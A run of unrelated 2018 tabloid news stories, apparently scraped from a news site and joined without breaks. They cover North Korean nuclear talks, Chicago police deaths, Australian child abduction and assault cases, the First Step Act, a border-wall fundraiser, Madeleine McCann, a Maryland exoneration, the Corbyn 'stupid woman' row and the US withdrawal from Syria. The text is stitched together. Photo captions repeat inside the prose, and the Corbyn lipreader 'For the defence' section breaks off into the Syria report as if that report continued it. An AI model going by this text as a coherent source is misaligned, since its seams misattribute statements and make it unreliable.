hard for the Trump-Kim meeting, has said Kim wasn't demanding the withdrawal of U.S. troops from the Korean Peninsula as a precondition for abandoning his nuclear weapons. But Kim has never made such comments in public. South Korean protesters hold banners during a rally denouncing U.S. Special Representative for North Korea Stephen Biegun's visiting in front of Foreign Ministry in Seoul, South Korea South Korean protesters hold banners during a rally denouncing U.S. Special Representative for North Korea Stephen Biegun's visiting in front of Foreign Ministry in Seoul, South Korea 'The blunt statement could be an indicator that the North has no intentions to return to the negotiation table anytime soon,' said Shin Beomchul, a senior analyst at Seoul's Asan Institute for Policy Studies. 'It's clear that the North intends to keep its nukes and turn the diplomatic process into a bilateral arms reduction negotiation with the United States, rather than a process where it unilaterally surrenders its program.' Yang Moo-jin, a professor at Seoul's University of North Korean Studies, said it's unlikely that the North would push things too far and allow the momentum for dialogue to collapse. Pyongyang has been strengthening its demands for sanctions relief and its latest statement is another attempt to win concessions from Washington, Yang said. Kim Jong Un, pictured with President Donald Trump in June this year, says it will never give up its nuclear weapons unless the United States removes its nuclear threat first 'Pyongyang is sending a message to Washington that confrontation and dialogue cannot coexist,' Yang said. The nuclear negotiations between Washington and Pyongyang have stalled since the Trump-Kim meeting. The United States wants North Korea to provide a detailed account of nuclear and missile facilities that would be inspected and dismantled under a potential deal, while the North is insisting that sanctions be lifted first. Since engaging in diplomacy, North Korea has unilaterally dismantled its nuclear testing ground and parts of a missile engine test facility and suspended nuclear and long-range missile tests. However, none of those moves were verified by outsiders, and most experts say they fall short as material steps toward denuclearization. In the third meeting between Kim and Moon in September, the North also said it would dismantle its main nuclear facility in Nyongbyon if the United States takes 'corresponding measures,' which the state media later specified as sanctions relief. Kim declared his nuclear force was complete after the torrent of weapons tests in 2017, including the detonation of a purported thermonuclear weapon and three test-flights of intercontinental ballistic missiles potentially capable of reaching the U.S. mainland. Several reports from private analysts in recent weeks have accused North Korea of continuing nuclear and missile development, citing details from commercial satellite imagery. South Korean army soldiers man K-9 self-propelled howitzers during a military exercises in Paju, South Korea, near the border with North Korea in 2017 Dictator Kim Jong-Un is seen in September last year inspecting a launching drill of the medium-and-long range strategic ballistic rocket Hwasong-12 at an undisclosed location 'If we unilaterally give up our nuclear weapons without any security assurance despite being first on the U.S. list of targets for pre-emptive nuclear strikes, that wouldn't be denuclearization - it would rather be a creation of a defenseless state where the balance in nuclear strategic strength is destroyed and the crisis of a nuclear war is brought forth,' the KCNA said. 'The corresponding measures we have asked the United States to take aren't difficult for the United States to commit to and carry out. 'We are just asking the United States to put an end to its hostile policies (on North Korea) and remove the unjust sanctions, things it can do even without a snap of a finger.' The North Korean statement came a day after Stephen Biegun, the Trump administration's special envoy on North Korea, told reporters in South Korea that Washington was reviewing easing travel restrictions on North Korea to facilitate humanitarian shipments to help resolve the impasse in nuclear negotiations. During his four-day visit, Biegun plans to discuss with South Korean officials the allies' policies on North Korea, including the enforcement of sanctions. The meetings are likely to include conversations about a groundbreaking ceremony the Koreas plan to hold at the border village of Panmunjom next week for an aspirational project to reconnect their roads and railways. The North has yet to respond to Biegun's comments. Chicago police said Wednesday that Edward Brown, 24, (above) of Chicago, has been charged A man is facing two felony weapons charges in connection with the deaths of two Chicago police officers who were struck and killed by a commuter train while they were chasing him. Chicago police said Wednesday that 24-year-old Edward Brown of Chicago is charged aggravated unlawful use of a weapon and reckless discharge of a firearm. He's due in bond court Thursday. Eduardo Marmolejo, 37, and Conrad Gary, 31, were fatally struck by a train Monday as they investigated a report of gunshots on the city's far South Side. Marmolejo and Gary were pursuing Brown, who had headed toward train tracks and were hit shortly after 6pm as the commuter train passed through the area, Police Superintendent Eddie Johnson said. He added that the vehicle was going at a high speed when the law enforcement officers were killed. Eduardo Marmolejo, 37, (L) and Conrad Gary, 31, (R) were fatally struck by a train Monday as they investigated a report of gunshots on the city's far South Side Police investigate the scene where two officers were killed after they were struck by a South Shore train near 103rd Street and Dauphin Avenue on Monday in Chicago, Illinois They were struck by a train that 'was probably going somewhere between 60 and 70 miles per hour,' police said 'There was no stop at that location so the train was probably going somewhere between 60 and 70 miles per hour,' Johnson said during a news conference. The Illinois police department had earlier tweeted about the tragedy. Marmolejo had been with the department for two-and-a-half years and Gary for 18 months, Johnson said. 'A devastating tragedy occurred tonight at 103rd and Cottage Grove where two officers investigating a shots fired call were struck by a passing train. Please pray for the 5th district,' Anthony Guglielmi tweeted. Police spokesman Anthony Guglielmi posted on Twitter that the 'devastating tragedy' occurred when the officers were investigating a shots-fired call To demonstrate our highest honors, the #ChicagoPolice Bureau Chiefs and District Commamders will join detectives to personally retrieve Officers Marmolejo & Gordon from the railway. Commander Joel Howard will lead the procession to the Medical Examiner's Office upon completion He later updated that a suspect was caught. Brown was taken into custody and a weapon was recovered. 'A weapon was recovered and a person of interest is being questioned at the site where two newly appointment officers lost their lives protecting their community from a gunman,' Guglielmi added on Twitter. Tuesday morning he revealed officers would remove the bodies from the track. 'To demonstrate our highest honors, the #ChicagoPolice Bureau Chiefs and District Commanders will join detectives to personally retrieve Officers Marmolejo & Gordon from the railway. 'Commander Joel Howard will lead the procession to the Medical Examiner's Office upon completion.' The investigation was still in the early stages and that more details would be released at a later time. Passengers sit on a train while police officers work the scene where two officers were killed after they were struck by a South Shore train Police officers work the scene where two officers were killed after they were struck Chicago police use 'ShotSpotter' technology, or sensors that monitor for the sound of gunfire and alert police. Johnson said the two officers went to the scene Monday after a 'ShotSpotter' alert went out. 'It just highlights again how dangerous this job can be. I often say that the most dangerous thing a police officer can do is take a weapon off of an armed individual,' Johnson said. The train that struck the officers was operated by a commuter rail line that links northern Indiana and Chicago, according to media reports. In 2002, Chicago police officer Benjamin Perez was fatally struck by a commuter train while conducting surveillance on narcotics activity on the city's West Side. Chicago cop Conrad Gary (left with a woman believed to be his wife Kelly Gary), 31, was one of the officers killed Monday Two officers went to the scene Monday after a 'ShotSpotter' alert went out A vagrant father accused of abducting and then repeatedly raping a 11-year-old schoolgirl for five hours has now been charged with filming the horrific ordeal. Brett David Hill, 48, appeared in Newcastle Local Court via video link on Wednesday, where the prosecutor told the court the list of charges against Hill had grown to 17. The young girl was walking through a park in the Newcastle suburb of Adamstown Heights on June 12 when she was allegedly approached and kidnapped by Hill. Hill drove her to bushes where he allegedly sexually assaulted her while armed with scissors before releasing her at Kotara Railway Station in the afternoon, the court previously heard. In court on Thursday, new charges in relation to filming and possessing child abuse material were laid, while two counts of indecent assault were withdrawn, the Newcastle Herald reported. Brett David Hill, 48, (pictured) remains behind bars, charged with 17 offences, including nine counts of aggravated sexual assault on a victim under the age of 16 Hill will remain behind bars until the matter goes to Newcastle District Court on February 20, where Hill is expected to enter a plea. The disturbing list of charges include nine counts of aggravated sexual assault on a victim under the age of 16, three counts of using a child under 14 to make child abuse material and two counts of indecent assault. Each of the aggravated sexual assault offences carry a maximum penalty of 20 years jail. It was alleged in court this week Hill filmed some of the assaults. A schoolgirl was walking through Hudson Park in Adamstown Heights, when she was allegedly abducted and sexually assaulted by Hill Investigators at one of the crime scenes in June where the girl was allegedly abducted and sexually assaulted during a five-hour ordeal in Newcastle in June The schoolgirl triggered an alarm after being dumped at the train station, sparking a frenzied hunt for her alleged attacker. Hill was arrested by officers four days after the alleged attack. Police claimed the man had become a 'nomad' who was living in his car. Police allege in court documents Hill was in possession of child abuse material at the time of his arrest. 'This brave little girl is certainly a hero,' Superintendent Brent Greentree said at time of the arrest. 'The courage she has displayed, and certainly her family, the heroism they have in supporting the police has just been fantastic and has ultimately led to this arrest.' The girl's primary school's principal also described her as 'an absolute hero'. 'Her strength, composure and resilience has led to the police arrest which has made all Newcastle children safer, he wrote in a weekly newsletter. 'She is a credit to her family and the teachers who have shaped the development of this amazing person.' The gang of African youths who allegedly went on a violent armed robbery rampage have been arrested after a home raid. Four males, aged from 15 to 17, were arrested after police raided the home in Bracken Ridge in Brisbane on Thursday afternoon. The gang are believed to have been involved in a series of violent carjackings that have rocked exclusive suburbs in Brisbane's south this week. On Thursday morning, the gang held up a man in Runcorn, south of Brisbane with a knife and a gun, demanding he hand over his keys to his BMW. The group allegedly approached the man at around 12.30 this morning on Plum St, yelling 'give me the keys or I'll kill you'. After dragging the man onto the ground, they allegedly took the keys and drove off in the BMW 320D convertible. The stolen vehicle is described as a blue BMW 320D hard top convertible with Queensland registration 248-XYX. The attackers were described as African men aged in their mid-20s. The stolen vehicle is described as a blue BMW 320D hard top convertible with Queensland registration 248-XYX (Pictured: A stock image of the blue BMW 320D) The group allegedly approached the man at around 12.30 this morning on Plum St, (pictured) in Runcorn, Brisbane south, yelling 'give me the keys or i'll kill you' Police are now looking in to see if the incident is related to a similarly violent attack on Tuesday night, where a man was slashed with a knife after a gang attempted to steal a Mercedes at a 7-Eleven service station in Yeronga. CCTV footage showed the man filling up his tank when he was approached by two men, wearing dark clothes and hooded jackets, who demanded his keys. After failing to steal the car, the gang then attempted to steal a red Toyota Yaris as a man reversed out of his driveway in nearby Paragon St. They forced him out of the car, punched him in the head and fled with the car. Queensland police were led to the gang after a member of the public spotted one of the vehicles and called it in. CCTV footage (pictured) showed the man filling up his tank when he was approached by two men, wearing dark clothes and hooded jackets, who demanded his keys After following one of the vehicles for some time, they were lead to a property in Bracken Ridge, where they raided the home as soon as everyone was inside. Four males, two 17-year-old's, a 16-year-old and a 15-year-old have since been arrested after a member of the public spotted one of the vehicles and reported it to police. The 17-year-old has been of main interest to police for his role in a number of offences including the 7-Eleven incident at Yeronga, the one involving the Yaris and the incident overnight at Runcorn. Detective Superintendent Tony Fleming said that they had successfully recovered two BMWs and a stolen Toyota Yaris. A number of other people arrested had already been charged previously over drugs and other offences. Anyone with information about the group is asked to contact Crime Stoppers. An Illinois man who has been serving 16 years of a life sentence for selling 140 grams of crack could finally have a chance at freedom thanks to the new criminal justice reform passed by the Senate on Tuesday. In 2001, Edward Douglas, 55, was arrested twice for selling crack cocaine to a federal informant in Illinois. Because Congress passed harsher penalties for drug offenses, Douglas faced a minimum of 10 years in federal prison, according to NBC News. The laws on the books at the time - the so-called three strikes law - allowed prosecutors to seek life in prison for anyone convicted of prior offenses. Since Douglas had two such convictions on his record - one for possessing marijuana and the other for possessing a small amount of cocaine - selling crack gave prosecutors an opportunity to seek a life sentence. In February 2003, he was convicted and given the mandatory sentence of life imprisonment. In 2001, Edward Douglas, 55, was arrested for selling crack cocaine to a federal informant in Illinois. The law mandated that he receive a life sentence. He is seen above with his sister, Veronica Douglas (left), and aunt Addie Dorsey (right) Douglas was a Chicago Transit Authority maintenance worker and father to two young children at the time of his arrest. He is seen left with his family before he was sent to prison Douglas, a father of two young children, pleaded not guilty. He insisted he was set up. He also refused to plead guilty in exchange for a lighter sentence. Douglas said he still remembers the shock he felt upon hearing he would spend the rest of his life behind bars. I can't believe this could happen, he said he thought at the time. Especially for drugs. Earlier this year, Douglas' daughter, Shanice, was photographed at the Supreme Court with a sign that read: 'My father sold 140 pellet-sized grams of crack and got a life sentence' Cases like Douglas are the impetus behind widespread bipartisan support for the First Step Act. The U.S. Senate on Tuesday overwhelmingly passed the legislation long in the making and backed by President Donald Trump to reduce sentences for certain prison inmates. By a vote of 87-12, the Republican-led Senate passed and sent to the House of Representatives the 'First Step Act,' which would ease the way for some prisoners to win early release to halfway houses or home confinement. The legislation also aims to establish programs to head off repeat offenders and protect first-time non-violent offenders from harsh mandatory minimum sentences. Earlier this year, the House passed a bipartisan bill focusing on prison reforms, which did not include sentencing reforms. With little time left as Congress tries to wrap up its session this month, Senate proponents are hoping their broader version is accepted by the Republican-controlled House. Trump congratulated the Senate on passing the bill and said he looked forward to signing it into law. This will keep our communities safer, and provide hope and a second chance, to those who earn it. In addition to everything else, billions of dollars will be saved, Trump tweeted. The United States leads the world in prison population, with about 2.2 million people incarcerated at the end of 2016. During Senate debate of the bill, Democratic Senator Dick Durbin noted the United States had 5 percent of the worlds population, but 25 percent of the worlds prisoners. He added that minorities bore the brunt of tough minimum sentences that judges have been directed to impose as a result of a decades-old law that has exploded the numbers of incarcerated people. By a vote of 87-12, the Senate passed the 'First Step Act,' which would ease the way for some prisoners to win early release. From left to right: Senators Dick Durbin; Tim Scott; Chuck Grassley; and Corey Booker discuss bill's passage in Washington, D.C. on Wednesday 'The majority of illegal drug users and dealers in America are white. But three-quarters of the people serving time in prison for drug offenses are African-American or Latino,' Durbin said. Douglas said he and other inmates at the federal penitentiary in Pekin, Illinois have been following the progression of the bill. Its a step in the right direction, he said. We're not saying we shouldn't be given time for the crimes we did, Douglas said. But you should look at the person himself and the crime the person did. If the judge deems it necessary to put a convict behind bars by giving him a prison sentence, they should give it. Earlier this year, Douglas' daughter, Shanice, was photographed at the Supreme Court with a sign that read: 'My father sold 140 pellet-sized grams of crack and got a life sentence.' She said she last saw her dad when she was 7 years old. After he went to prison, she, her mother, and grandmother moved to rural Mississippi and raised her there. 'My dad would always say, "Im coming home",' Shanice Douglas, 24, said. 'From my understanding, he never believed he had life in prison. But he knew the justice system screwed him over.' The campaign was launched on Sunday by Air Force veteran Brian Kolfage (above) The crowdfunding campaign to build a wall on the southern border surpassed the $7million mark by Thursday afternoon after the triple-amputee organizer Brian Kolfage pushed efforts. His fundraising mission started accepting checks four days after it first launched, following a notice earlier that day telling those who wanted to donate that a PO Box would be available to send in contributions. Kolfage's GoFundMe didn't reflect the numbers for those who planned on sending in their donations. Adamant not to hinder the amount of money received he warned page visitors not to make donations in celebrity or politician names because they would be refunded. The total had more than quadrupled in less than 24 hours by late Thursday morning when it hit $4million. The increase in funds was vast considering the campaign only raised $800,000 in the first three days. Day four saw more than 100,000 Americans rush to hand over money to help President Donald Trump build his wall, some managing a token $5 and other a more significant $250. A crowdfunding campaign to build a wall on the southern border had raised $7million in just four days by Thursday 'Too many Americans have been murdered by illegal aliens and too many illegals are taking advantage of the United States taxpayers,' Kolfage said on the GoFundMe page The married Florida father-of-two lost both legs and his arm in 2004 insurgent attack in Iraq Kolfage also used the website to promote his forthcoming TV appearances. Conservatives exasperated with Trump's never-ending quest to secure funding for the wall were quick to pony up cash for the campaign, which was launched by an Iraq war vet. But it begged the question of why some aren't so quick to use their money to help the needy. Author John Pavlovitz wrote on Twitter: '#GoFundTheWall: Because I have disposable income when it comes white supremacy, but not universal healthcare.' Others criticized those donating for thinking the wall was going to protect them any time soon as they predicted that it could take 50 years to come to fruition based on the current rate. Comedian Steve Hoffsetter posted: 'The wall would cost $25 billion. If they raise $1.3 million a day, EVERY DAY, it would take them 51 years, 4 months, and 19 days.' It begged the question of why some aren't so quick to use their money to help the needy Others criticized those donating for thinking the wall was going to protect them any time soon Trump recently appeared to back down from threats of a government shutdown to secure the $5billion he wants for the wall, signalling he would sign the last spending bill he will get from a Republican-controlled Congress for the rest of his term without the desired wall money. Border hawks were furious at the perceived betrayal, with arch-conservative pundit Ann Coulter tweeting: 'In fairness to Trump, maybe we misheard him in 2016. Maybe he said the southern border needed a big, beautiful mall.' The sting for conservatives was deepened by an announcement on Tuesday that the U.S. will increase aid to Mexico and Central America to $10.6billion. Liberals had mocked the GoFundMe as evidence of Trump supporters' gullibility, gloating that federal funding for Trump's signature proposal is looking increasingly less likely. Purple Heart recipient Brian Kolfage, 37, created the page and said: 'It's up to Americans to help out and pitch in to get this project rolling' The campaign was launched on Sunday by Air Force veteran Brian Kolfage. The 37-year-old triple-amputee created the GoFundMe account titled We The People Will Fund The Wall, which quickly began raking in donations. 'It's up to Americans to help out and pitch in to get this project rolling,' the page reads. 'If the 63 million people who voted for Trump each pledge $80, we can build the wall.' The fundraising page says it has contacted the Trump Administration to secure a point of contact where all the funds will go, but adds it has 'many very high level contacts already helping'. 'As a veteran who has given so much, 3 limbs, I feel deeply invested to this nation to ensure future generations have everything we have today,' the page says, elaborating on Kolfage's history as a Purple Heart Medal recipient. The married father-of-two lost both legs and his right arm in a 2004 insurgent attack in Iraq. Transgender LGBTQ woman creates Ladders to Get Over Trump's Wall GoFundMe Charlotte Clymer started an initiative to raise $100million for the Texas non-profit organization Refugee and Immigrant Center for Education and Legal Services Another army veteran on Thursday started a rival GoFundMe page titled Ladders to Get Over Trump's Wall. In response to Twitter user The Horse Whisperer's challenge to troll the current crowdfunding efforts, Washington DC-based Charlotte Clymer started an initiative to raise $100million for the Texas non-profit organization Refugee and Immigrant Center for Education and Legal Services (RAICES). She posted on the crowdfunding website: 'We saw some folks are raising money for a border wall to keep out our migrant siblings and fellow human beings, who are fleeing violence and persecution and whose tragically-underpaid labor is essential to the U.S. economy. Seems like a bad idea on countless levels for everyone involved. Maybe we should focus on human rights and creating a community that reflects our supposed values. Another army veteran on Thursday started a rival GoFundMe page titled Ladders to Get Over Trump's Wall 'And even though at a rate of $1.7million daily, it would take their fund about 35 years to raise the $21.7billion that Trump's own Dept. of Homeland Security says would be needed to build said wall, we wanna make sure ladders are ready to send over to our undocumented friends and help them.' The page created by the transgender woman who is a writer for the LGBT advocacy group Human Rights Campaign raised $5,339 in the first eight hours. The page created by the transgender woman who is a writer for the LGBT advocacy group Human Rights Campaign raised $5,339 in the first eight hours Advertisement 'Too many Americans have been murdered by illegal aliens and too many illegals are taking advantage of the United States taxpayers with no means of ever contributing to our society,' it continues. Kolfage says his grandparents immigrated to the US legally, adding, 'they did it the correct way and it's time we uphold our laws and get this wall BUILT!' 'It's up to Americans to help out and pitch in to get this project rolling,' the page says. Trump said Wednesday the new trade deal means Mexico will pay for his wall Meanwhile, President Trump on Wednesday claimed the military would build his border wall and Mexico would pay for it - indirectly under the new trade agreement. 'Mexico is paying (indirectly) for the Wall through the new USMCA, the replacement for NAFTA! Far more money coming to the U.S. Because of the tremendous dangers at the Border, including large scale criminal and drug inflow, the United States Military will build the Wall!,' he tweeted. White House Press Secretary Sarah Sanders said Tuesday the administration's legal team was looking into whether the White House could redirect funds to build the border wall. The Metropolitan Police commissioner has pledged not to give up on the search for Madeleine McCann. Cressida Dick has reportedly backed Operation Grange, which has cost some 11.75million so far and was last month given a further 150,000 by the Home Office. The police commissioner defended the long-running operation and said it 'would be right to continue until it has reached its conclusion.' Cressida Dick has backed the ongoing search for Madeleine McCann According to the Daily Star, Ms Dick said: 'I remember when this piece of work was started and why. 'I can understand why some people may feel differently, but I think it is quite right that we should continue until it has reached its conclusion.' The probe into Maddie's disappearance was granted 150,000 more funding by the Home Office last month. More than 11million has been spent so far on the probe to find Maddie, who vanished 11-and-a-half years ago, and the investigation has repeatedly come under fire. Kate and Gerry McCann (pictured in 2017), have urged parents of missing children to 'never give up' Since being launched in May 2011, officers have sifted (and translated) 40,000 documents produced by Portuguese police who conducted the initial investigation, and by the eight teams of private detectives who have worked on the case. Some 600 'persons of interest' have been examined and 'sightings' of Madeleine in Brazil, India, Morocco and Paraguay, on a German plane and in a New Zealand supermarket assessed. Madeleine's mother Kate McCann this month urged parents of missing children to 'never give up' as she spoke about how she hopes 'tomorrow is the day' something leads her back to her daughter. She was speaking at a carol service on December 10 in London for missing people and comes as she prepares for her twelfth Christmas without her daughter. A father-of-two whispered two disturbing words to a young girl inside a Kmart toy aisle before allegedly kidnapping her and sexually assaulting her in bushland. Sterling Mervyn Free, 26, appeared in the Pine Rivers Magistrates Court on Thursday via video link and was remanded in custody. Free is accused of luring a child from Kmart at Westfield North Lakes in Queensland and has been charged with kidnapping and indecent treatment of a child under 12. Before he allegedly made off with the seven-year-old, he uttered two terrifying words to her, The Courier Mail reported. 'Follow me.' Before Sterling Mervyn, 26 (pictured), allegedly made off with the seven-year-old, he uttered two terrifying words to her, 'Follow me' The seven-year-old girl was allegedly snatched from the toy aisle of a Kmart store at Westfield North Lakes, north of Brisbane. Daily Mail Australia visited the store last week (pictured) Free is alleged to have placed the girl in the passenger seat of his car before driving her to bushland in Pumicestone Passage. Once there he allegedly sexually assaulted her. The girl was then dumped at a North Lakes carwash near the shopping centre. The mother of the child allegedly noticed a scratch on her daughter's back when they came home. Police prosecutors applied for the court to be closed last week for Free's first appearance. Magistrate Trevor Morgan conceded on the grounds of 'public morality'. Media left the courtroom and were also barred from reporting on some parts of the proceeding. An attempt was made to lift the non-publication order on Thursday, though was shut down. Magistrate Wendy Cull said the court was too busy to consider the application in the lead-up to Christmas. Free's lawyer Shaune Irving told media outside court sensitivity had to be considered with the privacy of the young child in mind. Free hopes to spend Christmas with his family and made known he will apply for bail. Mr Irving confirmed to The Courier Mail earlier this week he had been instructed to 'make an immediate application'. Free's family is said to be standing by the father amid the allegations. 'He does have a deep concern for the impact this is having on his family. He's a father. He's got two little girls. He obviously loves his children,' Mr Irving said. The solicitor said Free is holding up okay in prison and that his thoughts remain with his family. Sterling Free (pictured) is alleged to have placed the girl in the passenger seat of his car before he drove her to bushland in Pumicestone Passage. Once there he allegedly sexually assaulted her. Free is being kept in isolation inside 'Australia's nastiest prison' (pictured) after he received a barrage of threats Free is being kept in isolation inside 'Australia's nastiest prison' after he received a barrage of threats. 'It's very important that people understand that whilst he is charged with a serious offence, he still has the right to a fair trial,' Mr Irving said. 'He also has the right to feel safe and not fear any sort of retribution or retaliatory behaviour from the public.' 'It's a very unique matter the brief of evidence still needs to be disclosed it's very early in the proceedings for people to be making judgment calls.' Free is locked up at the Arthur Gorrie Correctional Centre in Brisbane's west. Police allege Free took the girl to nearby bushland where he is accused of sexually assaulting her. Pictured is a stretch of land near where the alleged assault is believed to have occurred A Maryland man who spent nearly three decades in jail for a murder he did not commit smiled broadly as he was released and forgave his accusers. Clarence Shipley, 46, was exonerated and released on Tuesday after being imprisoned for 27 years for the gunning down of Kevin Smith, 29, in 1991 in Baltimore. Shipley was convicted on false witness testimony when he just 19. He said outside court, 'Freedom feels good.' Clarence Shipley, 46, was jailed in 1991 for murder after he was wrongly convicted of gunning a man down outside a shopping center in Baltimore, Maryland Shipley smiled broadly outside court and said, 'Freedom feels good,' as he was surrounded by family and friends Shipley stands outside court with relatives, friends and members of his legal team after he was exonerated by a judge According to ABC, Shipley continued: 'I was waiting on that, God is good, I was waiting on that.' He hugged his defense attorney as the ruling was read out by the Judge who told him, 'Good luck, sir,' the Washing Post reported. The courtroom was filled with cheers and friends and family of Shipley wept with joy as he was freed. Shipley's relatives hired a retired detective several years ago who uncovered catastrophic flaws in the investigation. Prosecutors said new witness evidence identified a man who died in 2005 as the killer. Clarence Shipley (center) stands outside court with members of his legal team after his relatives hired a retired detective several years ago who found catastrophic failings in the original murder investigation Shipley missed the birth of his son behind bars, while his other son perished in a house fire. He told ABC: 'I lost a lot, I lost a child while I was behind bars, a child that I never got to know.' Shipley was also absent from the birth of his grandson and was married behind bars, the Washington Post reported. His mother said she told her son to keep praying while he was caged and Shipley forgave the false witnesses outside court and said he was keen to get to Church. Shipley becomes the fourth man exonerated through the work of innocence nonprofit projects headed by Mosby, the University of Baltimore and George Washington University. Andrea Leadsom effectively accused Jeremy Corbyn of lying today by insisting he did brand the PM a 'stupid woman'. The Commons leader made clear she did not believe the Labour leader's denial of muttering the sexist jibe under his breath at PMQs. The intervention came as Diane Abbott tried to shrug off mounting fury by arguing 'nobody knows' what he really said, and accusing MPs of 'confected' rage. The bitter spat erupted yesterday as Mrs May and Mr Corbyn traded blows over Brexit in the Commons. The premier accused Mr Corbyn of descending into 'pantomime' with threats of a no-confidence vote, saying even his own party was not behind him. But as the PM sat down to cheers, Mr Corbyn seemed to mutter: 'Stupid woman.' The bitter spat erupted yesterday as Theresa May and Jeremy Corbyn (left) traded blows over Brexit in the Commons The remark was not picked up on microphones, but politicians from both sides of the House were in little doubt what he said - as were multiple lipreaders. Bizarrely, Hollywood actor Rob Lowe also waded in to the row, saying he had seen the insult on TV 'with my own eyes'. However, hauled back to the House to explain himself, Mr Corbyn flatly denied uttering the words. 'I did not use the words 'stupid woman' about the Prime Minister or anyone else,' he said. Speaker John Bercow said he had consulted 'lip speakers' - people who can hear but interpret for deaf people - and they believed Mr Corbyn probably did deliver the slur, but no-one could be '100 per cent' certain. Mr Bercow said he had to take the Labour leader's word about what he said. As the Speaker is the final arbiter of behaviour in the Commons chamber, the ruling effectively shuts down and route for disciplining Mr Corbyn over the row. Interviewed on BBC Radio 4's Today programme this morning, Mrs Leadsom said standards of behaviour in the chamber had to improve. Asked if she believed Mr Corbyn's denial, she said: 'I think he said stupid woman. That is how it looks to me.' Ms Abbott said Tory MPs had 'put on a display yesterday which Hackney primary school children would have been ashamed of'. She told Today that Mr Corbyn was an honest man and 'if he has something to say sorry for he will always say sorry'. The PMQs spat that pushed Corbyn over the edge Corbyn: 'There is no majority in this House for no-deal. 'Isn't this just a deeply cynical maneuver from a failing and utterly reckless prime minister?' May: 'I know it's the Christmas season and the pantomime season but what do we see from the Labour frontbench and him. 'He's going to put a confidence vote - 'oh yes he is. Oh no he isn't'. 'I've got some news for him, I've got some advice for him. 'Look behind you. They're not impressed and neither is the country.' Corbyn: (Shakes his head and appears to mutter 'stupid woman'. Advertisement She added: 'Nobody really knows what he said, certainly they (MPs) did not know what he said at the time. 'To me it was contrived, staged behaviour and the British people might wonder why the Tories will stage a mini-riot in Parliament over that but are not staging a mini-riot over the tens of thousands of people who are newly on Universal Credit and are facing Christmas with no money.' As the row erupted last night, Mr Bercow told MPs: 'I have looked at the television footage of the leader of the opposition reacting to the Prime Minister, allegedly saying 'stupid woman' to those seated next to him. 'Having heard the allegation against the leader of the opposition and having watched the footage it is easy to see why the leader of the opposition's words might be construed as 'stupid woman'. 'That was also the opinion of lip speakers - and I emphasis lip speakers rather than lip readers - whose advice was sought and obtained at short notice.' 'Nobody can be 100 per cent certain, that includes professional lipreaders. But I will naturally take and would be expected to take, the word of any right honourable or honourable member. 'It's reasonable to expect the House to do the same.' But in an extraordinary intervention in the Commons, Tory MP Rachel Maclean responded: 'Read my lips... I don't believe him.' Labour MPs were among those to criticise Mr Corbyn. Backbencher Stella Creasy said: 'This is not ok. PMQs is a hotbed of emotions but I hope that Jeremy will accept this kind of behaviour isn't his normal good nature or what we expect of progressive men.' Even shadow trade secretary Barry Gardiner suggested Mr Corbyn might have said the words. 'I am not a lipreader, but it certainly seemed that might have been it,' he told BBC Politics Live. Commons Leader Andrea Leadsom (pictured left today) made clear she does not believe Mr Corbyn (pictured right at his London home this morning) Diane Abbott tried to shrug off mounting fury by arguing 'nobody knows' what he really said, and accusing MPs of 'confected' rage Lip reading experts consulted by the Daily Mail reviewed the footage frame by frame to conclude Mr Corbyn's mouth movements clearly spelled out W-O-M-A-N, not 'people' An array of lipreaders publicly gave their verdict on what Mr Cobyn said last night. But only one expert quoted agreed with the Labour leader's version that he said 'stupid people' to the Tory benches in general rather than 'stupid woman' to Mrs May. But that opinion was outvoted by the lipreaders who said judging by the shape of his mouth they thought Mr Corbyn said 'woman'. His denial has sparked further outrage, including from Piers Morgan, who has asked why anyone should trust a further word out of the Labour leader's mouth if he is happy to deny something 'we can all see he did'. Among the lipreaders consulted about Corbyn's comments, their verdict broke down as follows : For the prosecution: Famous deaf percussionist Dame Evelyn Glennie, who can read lips, is quoted by BBC Radio, The Sun, the Mirror, the Express, the Guardian, the Times, and in our own report for MailOnline she was 'very certain' he had said woman. Her comments came via Tim Johns, who produces the Jeremy Vine show on BBC radio, and who tweeted: 'I just showed Evelyn Glennie, the famous percussionist, the footage of Jeremy Corbyn in the Commons. She's deaf and can lip read. She wasn't aware of the story and her interpretation of what he said was 'stupid woman'. She says she's very certain.' Sky News reports the consensus of a 'team' of lip readers contradicted Labour's denials, and that Mr Corbyn did indeed call the PM a 'stupid woman'. Sky says its experts, including former expert witness forensic lip reader Tina Lannin, have concluded the mouth shape for 'wo' for woman is unmistakeable. Speaker John Bercow said he had consulted 'lip speakers' who believed the word was 'woman', but he added he himself accepted the Labour leader's denial. said he had consulted 'lip speakers' who believed the word was 'woman', but he added he himself accepted the Labour leader's denial. West Wing actor Rob Lowe , who is deaf in one ear, also waded into the row, tweeting he had seen Mr Cobryn 'say it with his own eyes'. For the defence: The United States will withdraw all of its troops from Syria, according to the White House. "Planning for the pullout is already underway," a US defense official and an administration official said. One U.S. official said Washington aimed to withdraw troops within 60 to 100 days and said the U.S. State Department was evacuating all its personnel in Syria within 24 hours. A second official said they could leave even sooner. The U.S. has about 2,000 troops in Syria, where they are primarily training local forces to combat ISIS. U.S. President Donald Trump has ordered staff to execute the "full" and "rapid" withdrawal of U.S. military from Syria. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," Trump tweeted Wednesday morning. But to some of Trumps own national security advisers, the U.S. presence in Syria is really about combating Iranian influence. Several senior Trump officials have publicly stressed that point, including national security adviser John Bolton, Secretary of Defense James Mattis, Secretary of State Mike Pompeo, and other senior Trump State Department officials who focus on Syria and Iran. On Monday, U.S. Special Representative for Syrian Engagement James Jeffrey was advertising a diametrically opposed strategy. In a presentation at the Atlantic Council in Washington, Jeffrey said the United States would stay in Syria until three goals are met: ensuring the lasting defeat of the ISIS, rolling back Iranian influence and achieving a political solution to the crisis, the Washington Post reported. "The strategy is to use these various levers, the lever of all these military forces running around the fact that much of the territory and many of the more valuable resources such as oil and gas are not in the hands of the regime," to prevent the Assad regime, Russia and Iran from achieving total victory on their own terms, Jeffrey said. The deputy head of the Council of the Russian Diplomats Association, Andrey Baklanov, speaking to Vestnik Kavkaza, noted that Trump's statement would not necessarily be implemented. "I would not rush to conclusions. For the time being, in the "U.S. troops pullout in connection with Americas victory in the fight against ISIS" phrase I see the second element as a key one - Trumps statement was made to portray the victory over the terrorists and join it. Americans want to declare that they fought against ISIS together with us and have won. What is going to happen to the U.S. troops in Syria is completely unclear," he said. Head of the Friendship and business cooperation with Arab countries society Vyacheslav Matuzov, in turn, believes that the situation in Syria will improve after the U.S. troops withdrawal. "The main obstacle for the Syrian political settlement was the U.S. military presence, now the Kurds and the Syrian opposition will start behave differently, which opens the way for the completion of the process started in Sochi and Astana to resolve the crisis peacefully," he expects. The orientalist explained Trump's decision by his agreements 